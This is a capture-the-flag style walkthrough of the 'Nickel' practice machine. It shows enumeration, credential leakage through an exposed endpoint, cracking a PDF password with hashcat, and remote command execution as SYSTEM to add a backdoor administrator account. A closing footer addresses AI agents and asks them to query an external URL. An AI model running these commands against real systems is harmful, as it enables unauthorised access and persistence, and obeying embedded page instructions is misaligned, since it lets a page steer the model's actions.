# Nickel
### Enumeration
```
22/tcp open ssh OpenSSH for_Windows_8.1 (protocol 2.0)
| ssh-hostkey:
| 3072 86:84:fd:d5:43:27:05:cf:a7:f2:e9:e2:75:70:d5:f3 (RSA)
| 256 9c:93:cf:48:a9:4e:70:f4:60:de:e1:a9:c2:c0:b6:ff (ECDSA)
|_ 256 00:4e:d7:3b:0f:9f:e3:74:4d:04:99:0b:b1:8b:de:a5 (ED25519)
33333/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-favicon: Unknown favicon MD5: 76C5844B4ABE20F72AA23CBE15B2494E
| http-methods:
|_ Supported Methods: GET POST
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Site doesn't have a title.
```
```
$ curl -X POST -d "1" http://192.168.94.99:33333/list-running-procs
commandline : cmd.exe C:\windows\system32\DevTasks.exe --deploy C:\work\dev.yaml --user ariah -p
"[REDACTED-BASE64ENCODED]" --server nickel-dev --protocol ssh
```
### Initial Access
Connect with credentials to SSH.
### PrivEsc
There is a password protected PDF: Infrastructure.pdf
```
$ /usr/share/john/pdf2john.pl Infrastructure.pdf > hash.txt
$ hash.txt
Infrastructure.pdf:$pdf$4*4*128*-1060*1*16*[REDACTED]
```
10500 - PDF 1.4 - 1.6 (Acrobat 5 - 8)
```
$ hashcat -m 10500 -w 4 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
```
Open the PDF with the password.
> Infrastructure Notes
>
> Temporary Command endpoint: http\://\[REDACTED]/?
```
PS C:\> $wc = New-Object Net.WebClient
PS C:\> $wc.DownloadString("http://[REDACTED]/?whoami")
dev-api started at 2020-10-20T10:38:24
nt authority\system
PS C:\USers\Administrator> $wc.DownloadString("http://[REDACTED]/?net user cel1s0 pass123 /add")
PS C:\USers\Administrator> $wc.DownloadString("http://[REDACTED]/?net localgroup administrators cel1s0 /add")
```
```
$ xfreerdp /u:cel1s0 /p:pass123 /v:192.168.94.99:3389
```
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://cel1s0.gitbook.io/offsec-notes/walkthroughs/pg-practice/windows/get-to-work/nickel.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.